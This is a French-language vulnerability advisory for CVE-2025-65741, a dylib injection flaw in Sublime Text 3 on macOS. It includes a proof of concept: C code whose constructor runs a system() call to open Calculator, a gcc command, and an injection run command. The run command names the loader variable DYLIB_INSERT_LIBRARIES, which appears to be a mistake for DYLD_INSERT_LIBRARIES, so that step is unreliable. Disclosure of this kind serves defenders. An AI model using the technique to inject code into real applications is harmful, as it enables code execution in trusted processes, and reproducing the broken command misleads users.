CVE-2025-65741 - Sublime Text 3 vulnérable à l'injection de Dylib pour macOS

Download: https://www.sublimetext.com/3
CVE: CVE-2025-65741 | https://nvd.nist.gov/vuln/detail/CVE-2025-65741
Author: Vinicius Batistella
Version Affected: Sublime Text 3 Build 3208 or prior for macOS

Détails

L'application Sublime Text ne vérifie pas correctement une injection de code non signée, ce qui permet à un attaquant de compiler une bibliothèque .dylib et de forcer l'application à l'exécuter dans le contexte de l'application. Dans l'exemple suivant, l'application Sublime Text a été forcée d'ouvrir le binaire calc. Cette vulnérabilité a été corrigée dans le Build 3209 et les suivants.

PoC

Compilez le code C suivant comme ceci :

#include <stdio.h>
#include <stdlib.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
	printf("[+] Dynalic Library Injection: %s\n", argv[0]);
	system("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}

gcc -dynamiclib injection.c -arch x86_64 -o injection_x86.dylib

Ensuite, exécutez-le contre un Sublime Text 3 build 3208 ou antérieur comme ceci :

DYLIB_INSERT_LIBRARIES=injection_x86.dylib /Applications/Sublime\ Text.app/Contents/MacOS/Sublime\ Text

CVE-2025-65741

Populaires

CVE-2025-65741 - Sublime Text 3 vulnérable à l'injection de Dylib pour macOS

Détails

PoC